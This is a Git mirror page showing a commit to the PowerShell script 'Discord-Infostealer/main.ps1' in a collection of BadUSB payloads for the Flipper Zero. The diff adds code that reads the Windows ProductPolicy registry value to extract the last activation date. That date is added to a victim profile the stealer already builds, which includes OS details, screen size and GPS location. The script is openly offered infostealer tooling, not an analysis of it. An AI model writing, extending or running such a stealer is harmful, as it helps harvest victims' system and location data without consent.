gitea-mirror/BadUSB-Files-For-FlipperZero
1
0
Fork 0
mirror of https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git synced 2026-01-04 16:57:33 -08:00
Code Issues Packages Projects Releases Wiki Activity

Update main.ps1

Browse Source
This commit is contained in:
egieb
2024-08-01 19:43:47 +00:00
committed by GitHub
parent 3102676bdd
commit 777bd4f2bf
1 changed files with 22 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

22
Discord-Infostealer/main.ps1
View File

@@ -219,6 +219,27 @@ foreach ($dir in $matchingDirectories) {
}
}
function Convert-BytesToDatetime([byte[]]$b) {
[long]$f = ([long]$b[7] -shl 56) -bor ([long]$b[6] -shl 48) -bor ([long]$b[5] -shl 40) -bor ([long]$b[4] -shl 32) -bor ([long]$b[3] -shl 24) -bor ([long]$b[2] -shl 16) -bor ([long]$b[1] -shl 8) -bor [long]$b[0]
$script:activated = [datetime]::FromFileTime($f)
}
$bArr = (Get-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\ProductOptions").ProductPolicy
$totalSize = ([System.BitConverter]::ToUInt32($bArr,0))
$policies = @()
$ip = 0x14
while ($true){
$eSize = ([System.BitConverter]::ToUInt16($bArr,$ip))
$eNameSize = ([System.BitConverter]::ToUInt16($bArr,$ip+2))
$eDataSize = ([System.BitConverter]::ToUInt16($bArr,$ip+6))
$eName = [System.Text.Encoding]::Unicode.GetString($bArr[($ip+0x10)..($ip+0xF+$eNameSize)])
if ($eName -eq 'Security-SPP-LastWindowsActivationTime'){
Convert-BytesToDatetime($bArr[($ip+0x10+$eNameSize)..($ip+0xF+$eNameSize+$eDataSize)])
}
$ip += $eSize
if (($ip+4) -ge $totalSize){
break
}
}
$infomessage = "
==================================================================================================================================
_________ __ .__ _____ __ .__
@@ -246,6 +267,7 @@ Build ID : $ver
Architechture : $OSArch
Screen Size : $screensize
Location : $GPS
Activation Date : $activated
=============================================================
Hardware Information
-------------------------------------------------------------